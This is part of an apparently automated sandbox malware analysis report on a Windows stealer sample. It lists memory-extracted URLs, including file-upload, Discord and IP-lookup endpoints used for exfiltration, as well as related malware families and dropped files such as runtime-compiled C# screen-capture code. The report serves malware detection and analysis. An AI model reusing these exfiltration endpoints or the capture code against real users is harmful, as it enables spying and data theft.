http://www.cl.cam.ac.uk/~mgk25/iso-time.html	9g9LZNE4bH.exe, 00000002.00000003.2048185585.000001F12ADED000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048141519.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049571529.000001F12B460000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399154194.000001F12A900000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	9g9LZNE4bH.exe, 00000002.00000003.2070355548.000001F12B29F000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2112269853.000001F12B31C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2111259470.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2093044186.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://allegro.pl/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000002A.00000002.2242595273.000001C03B5AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	9g9LZNE4bH.exe, 00000002.00000002.2401915686.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2097358541.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2085401130.000001F12B471000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2144196309.000001F12B480000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2033778965.000001F128D5B000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4FC000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/	9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407700677.00007FF8A8D69000.00000040.00000001.01000000.00000004.sdmp	false		high
https://www.bbc.co.uk/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ip-api.com/line/?fields=hostingr	9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugzilla.mo	9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12C004000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/uploadr	9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12BF70000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.2190941611.000001B981FE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google.com/mail	9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2138960524.000001F12B1CB000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B1CD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	9g9LZNE4bH.exe, 00000002.00000002.2404350121.000001F12BD40000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	9g9LZNE4bH.exe, 00000002.00000003.2048185585.000001F12ADED000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048141519.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049571529.000001F12B460000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	9g9LZNE4bH.exe, 00000002.00000002.2401915686.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2097358541.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2085401130.000001F12B471000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2144196309.000001F12B480000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServerr	9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://www.python.org/download/releases/2.3/mro/.	9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
https://contoso.com/License	powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v9/users/	9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ip-api.com/json/?fields=225545r	9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoftTASKLI~1.TXTy.	9g9LZNE4bH.exe, 00000002.00000002.2402488296.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399154194.000001F12A900000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920	9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2138960524.000001F12B1CB000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B1CD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.bellmedia.c	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4FC000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	9g9LZNE4bH.exe, 00000002.00000003.2137521294.000001F12BAA0000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C50C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://html.spec.whatwg.org/multipage/	9g9LZNE4bH.exe, 00000002.00000002.2399793593.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2143833487.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ifeng.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4A4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	9g9LZNE4bH.exe, 00000002.00000002.2399251946.000001F12AB14000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 0000002A.00000002.2242595273.000001C03C986000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.iana.org/time-zones/repository/tz-link.html	9g9LZNE4bH.exe, 00000002.00000003.2048185585.000001F12AE24000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AE24000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049688627.000001F12AE24000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048141519.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049571529.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048802049.000001F12AE54000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.137.232	discord.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584119
Start date and time:	2025-01-04 09:41:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	90
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9g9LZNE4bH.exe renamed because original name is a hash value
Original Sample Name:	fc11fee1405cd9e4b30f6ee243396f62bcd1b1dd8117c00a7008a7e3daa6cc29.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@143/56@2/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 51% Number of executed functions: 127 Number of non-executed functions: 163
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 20.12.23.50, 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, gstatic.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5440 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5704 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:42:03	API Interceptor	152x Sleep call for process: powershell.exe modified
03:42:06	API Interceptor	5x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	ddos tool.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	kthiokadjg.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	ip-api.com/line/?fields=hosting
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	Java32.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	intro.avi.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	162.159.137.232
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.138.232
	Jx6bD8nM4qW9sL3v.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	162.159.138.232
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	162.159.138.232
	http://mee6.xyz	Get hash	malicious	Unknown	Browse	162.159.138.232
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	arm.elf	Get hash	malicious	Unknown	Browse	162.159.137.232
ip-api.com	ddos tool.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kthiokadjg.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Java32.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	intro.avi.exe	Get hash	malicious	Quasar	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	9cOUjp7ybm.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	http://livedashboardkit.info	Get hash	malicious	Unknown	Browse	172.67.166.199
	4.elf	Get hash	malicious	Unknown	Browse	1.13.111.69
	31.13.224.14-mips-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	1.4.15.193
	random.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	random.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	download.bin.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://track2.mccarthysearch.com/9155296/c?p=UJEwZLRSuPVlnD1ICTWZusB5H46ZFxhQFeZmgv_N89FzkqdhuHSGoPyB5qZfahmny00oVnRJ_XGR4M89Ovy-j3JZN_nz1Nb-BfHfDXVFwrd4A8njKtxWHgVV9KpuZ3ad6Xn31h13Ok4dSqgAUkhmVH1KUMKOlrKi5AYGmafMXkrBRxU_B4vy7NXVbEVJ970TwM25LbuS_B0xuuC5g8ehQDyYNyEV1WCghuhx_ZKmrGeOOXDf8HkQ-KOwv_tecp8TMdskXzay5lvoS31gB-nWxsjPaZ8f84KWvabQB4eF73ffpyNcTpJues_4IHHPjEKJ9ritMRTaHbFdQGNT_n13X_E7no0nMmaegQjwo4kKGu6oR02iG2c_6ucy3I6d8vsNl324Pjhx3M20dDmfZAju1roW9lGyO1LfgEnp1iSAFpx4kA7frEmKGzJYNX_cZrwVBoH8vvIYauXGnXBrZacRhuZGGbOjW2HHr9KF-0q7xjdgG2hxjWZ2H9zjubJGDnUjHRfiIr_-0bem1pLFqziEmy0450LGuXV23cQ6GD8yuK9tuRwMIF0sbkhVqONC0e6TsXlkUuTRAVWBbLlRPcygJ-CbukwvFtAxobVQ8-PpIuGj97DYFnmbfbJrrZDtH57TpdP4AxtW5k74BKSXvb1B6JX0p7Oyr1kXxLs_OrNPdAdrf8gXR35D9W7WeQ2zhPEqP0Mv5sJx4DlYh6Y4FqgPfCRFcDcL7Cy3HSlJ0XYfv-ae4o-hdX_0rJPqEG_-Bn2yj60YPDYpE8KDIgC_ZMwlNLdK4pAK6vSt4NWDncuV5y7QDqt97ribjd4U3AOvQTKW9r_eMky9-IC9hkSPrg2S0ZBgA9ITW3AQ3v-lq94cAwt1v1RLaFgsy67l_7lni1gYsZaQdOsFJsDpCFYaZsTMcVz2QAnQ_2UidhzlUekPl5xh9LNe9o77rO1FolZslooaXxCf2U2RZmvUA6NCNiGZ8KSsoUYTnqAHenvBJVJwMWd66yD2O60rC3Ic2qOQ1KOF9AB6-iFTvQFxtSTjS2hFwi7N97LeQtVYKhdzZuq2SasgJg0JPnZiFv_FSbgmiodqx9rz_lWIqWQNoQVht-oO2BfFxSF_aedAmm2MuQAL7z8UjBf_deiKwQyfKOyA6ZkAJ14F9xwhNm9F7B4PBgDtocqJQBjw5Cf1jCBSAs3nSYP2_nzofJuQSXd-YD9PIzkkmJw7Nqux7IgJ6p1z2Hsf6i3zShVdZY3g2mmA1xR1FV1LoSYwcRBqZt3pv0UDjuqCEoiqKDuyT0rkhqTRLo29uuM588Lna16PFSgSLoLUhnJ2rx8NLQQc5TqrsGjlN-ulCwTEyA0C9Epz9mxq14yDjw==	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://covid19.protected-forms.com/XQTNkY0hwMkttOEdiZmZ0V2RRTHpDdDNqUTROanhES0NBYmdFOG1KTGRSTUtrK3VMMzlEN1JKVVFXNUxaNGJOQmd1YzQ3ajJMeVdZUDU3TytRbGtIaFhWRkxnT0lkeTZhdy9xWEhjeFBoRXRTb2hxdjlVbi9iSk1qZytLQ0JxRjd4UmpOS3VUQ2lpOEZneTRoVmpzY2dyekR1WlhYOWVteVcrUXg0a2Y2aEU2ZEZwMVNId3R0U01RK3N3PT0tLVR0bDl1WEFUelg3K2VzTystLUxaMkFrZnU0UmJXRkR3aE5NRE9BOEE9PQ==?cid=2351432832	Get hash	malicious	KnowBe4	Browse	104.18.90.62
TUT-ASUS	ddos tool.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kthiokadjg.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Java32.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	intro.avi.exe	Get hash	malicious	Quasar	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI61762\VCRUNTIME140.dll	Holoscope-V1.3.5.exe	Get hash	malicious	Unknown	Browse
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse
	winws1.exe	Get hash	malicious	Unknown	Browse
	discord.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	cmd.exe	Get hash	malicious	Blank Grabber	Browse
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse
	meN9qeS2DE.exe	Get hash	malicious	XWorm	Browse
	client1.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.345416211192406
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikq1S+UWZE21Sa9:V3ka6KOkqeFkq1SGE21S8
MD5:	C75BB8F4B53BF36AA759CFB2433703F3
SHA1:	C2D26F617B4CBA3AE3C58EDBD148915A7106F38E
SHA-256:	490B2C91D6BEBB7A5F6BD5F027A07BDCA33179B2A76B4CC9B0FD0F4B1BF36013
SHA-512:	08646EF7B2C662F189026C4D833A4EEA462596F0487989C040352DDE9B3EAF079487366A6F31DCA42E9E8AE0E72050C68A4ACFAF41120D49963BD20B3438997A
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.0.cs"

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.1584977481949865
Encrypted:	false
SSDEEP:	48:6E7oEAtf0KhzBU/jf6mtJEN0qhPpW1ulXa3rq:wNz02mcOwFK
MD5:	396178D7BD49084F0957BB02C510907C
SHA1:	5230F16E4470C961AD3D5D962FDDDD6F2DB0F6CC
SHA-256:	CFC542E14AB4D5AD9F3D2AC74D5AF6B0FA42E5AC52317A315E7F59DB527C0002
SHA-512:	A6CF56A305AF06C2A44A4961C14A51C0C5BB421949DC0F97FCA8AE4FAF51B374435B6C0DF190F8B0D506E98F102B6498F1A55CA33C0EBCD5CD0581907EEA9DE4
Malicious:	false
